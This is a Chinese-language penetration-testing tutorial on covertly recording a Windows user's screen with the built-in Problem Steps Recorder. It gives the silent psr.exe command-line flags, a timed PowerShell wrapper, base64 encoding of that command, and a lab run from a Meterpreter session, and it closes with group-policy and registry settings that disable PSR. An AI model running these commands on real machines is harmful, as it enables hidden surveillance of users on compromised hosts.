滲透技巧:如何巧妙利用PSR監控Windows桌面
0x00 前言
在滲透測試的過程中,如果需要獲取主機的更多信息,相比于鍵盤記錄,記錄系統屏幕的操作往往更加直接有效。
也許每個人都有自己獨特的實現方式,但是如果能夠利用Windows系統自帶的程序實現,個人認為絕對是最優先考慮的方案。
下面就介紹一下如何利用Windows系統自帶的功能實現監控屏幕操作。
0x01 簡介
PSR(Problem Steps Recorder),直譯為問題步驟記錄器,在Windows 早期的系統中,采用WER(Windows Error Reporting)來收集系統的錯誤報告,但這些報告往往包含的信息太少以致于無法解決實際問題。
為此,微軟從Windows 7系統開始,增加了PSR來解決這個問題,PSR能夠記錄用戶在遇到崩潰時執行的所有操作,以便測試人員和開發人員能夠重現環境對其分析和調試。
當PSR運行時,將會自動記錄屏幕的操作,每次操作都會自動保存成一張圖片,最終生成一份zip格式的報告。
注:
百度百科對psr的名稱描述有誤,準確的應為Problem Steps Recorder(該問題已提交)
如圖
鏈接為:
http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K
0x02 使用方法
1、啟動psr.exe,點擊開始錄制
可使用快捷鍵win+R直接輸入psr來啟動
下圖為psr的操作面板,點擊開始記錄即可記錄當前的屏幕操作
點擊后會提示權限的問題,如果需要記錄管理員權限的程序,那么需要以管理員權限來運行psr,如圖
2、進行任意操作
當運行psr開始錄制后,鼠標點擊時會增加特效
如圖
3、停止記錄,保存報告
如圖
4、查看報告
報告會對每次操作截圖,并記錄鼠標的操作
比如鼠標的單擊操作,從截圖注釋可以看到當前的鼠標做了哪些操作
而且,在報告后半部分會詳細記錄相關細節,里面的內容也很是有趣:
0x03 進階方法
psr在記錄屏幕的操作中會啟動UI界面,并且對鼠標點擊操作增加特效,這顯然無法滿足滲透測試的要求。
但好在psr提供了命令行參數用作后臺記錄
命令行參數如下:
結合實際,可使用以下命令:
psr.exe /start /gui 0 /output C:\test\capture.zip
后臺啟動psr并開始錄制,文件保存為C:\test\capture.zip
psr.exe /stop
結束錄制并退出psr,自動保存報告文件
0x04 實際測試
測試環境:
Server:
OS:Kali linux
IP:192.168.174.133
Client:
OS:Win7 x86
IP:192.168.174.128
Kali已獲得meterpreter權限
如圖
測試功能:
自動啟動錄制
錄制指定時間后自動退出
自動保存報告文件
可使用Powershell對上述功能做簡單實現:
1、啟動自動錄制,設置為無界面模式,并指定輸出路徑:
1psr.exe /start /gui 0 /output C:\test\capture.zip;
2、等待10s,即錄制時間為10s:
1Start-Sleep -s 10;
3、結束錄制,自動退出:
1psr.exe /stop;
可將以上代碼保存為C:\test\1.txt,然后對其作base64加密
在Powershell環境下執行如下代碼來對功能代碼進行base64加密:
- 1234$string=Get-Content "C:\test\1.txt"
- $bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
- $encoded = [System.Convert]::ToBase64String($bytes)
- $encoded
如圖,從輸出得到加密的Powershell命令為:
然后就可以在meterpreter的shell下直接執行Powershell命令:
代碼執行后,等待10s產成報告文件capture.zip,測試成功
0x05 防御
可采用以下兩種方法關閉psr:
1、使用組策略
中文系統:
gpedit.msc-管理模板-Windows組件-應用程序兼容性
啟用關閉問題步驟記錄器
如圖
英文系統:
gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility
啟用Turn off Problem Steps Recorder
如圖
2、修改注冊表
- [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
新建"DisableUAR"=dword:00000001
如圖
注:
dword=1對應組策略中的已啟用
dword=0對應組策略中的已禁用
刪除"DisableUAR"對應組策略中的未配置
0x06 小結
利用PSR監控Windows桌面,不僅僅能夠捕獲用戶桌面的操作,而且在報告中會包含更多有用的細節信息,相信你在滲透測試的過程中,一定會用上它。
0x07 參考資料
https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/
https://msdn.microsoft.com/en-us/library/windows/desktop/dd371782(v=vs.85).aspx
https://blogs.msdn.microsoft.com/cjacks/2009/02/25/deciphering-the-command-line-configuration-of-the-windows-7-problem-steps-recorder/
https://technet.microsoft.com/en-us/magazine/dd464813.aspx
http://blogs.msdn.com/b/wer/archive/2009/03/30/problem-steps-recorder-psr-exe-windows-error-reporting-another-tool-to-help-find-solutions-to-software-defects.aspx
http://blogs.technet.com/b/mspfe/archive/2013/03/22/uncovering-a-hidden-gem-psr-exe.aspx
http://www.sevenforums.com/tutorials/139779-problem-steps-recorder-enable-disable.html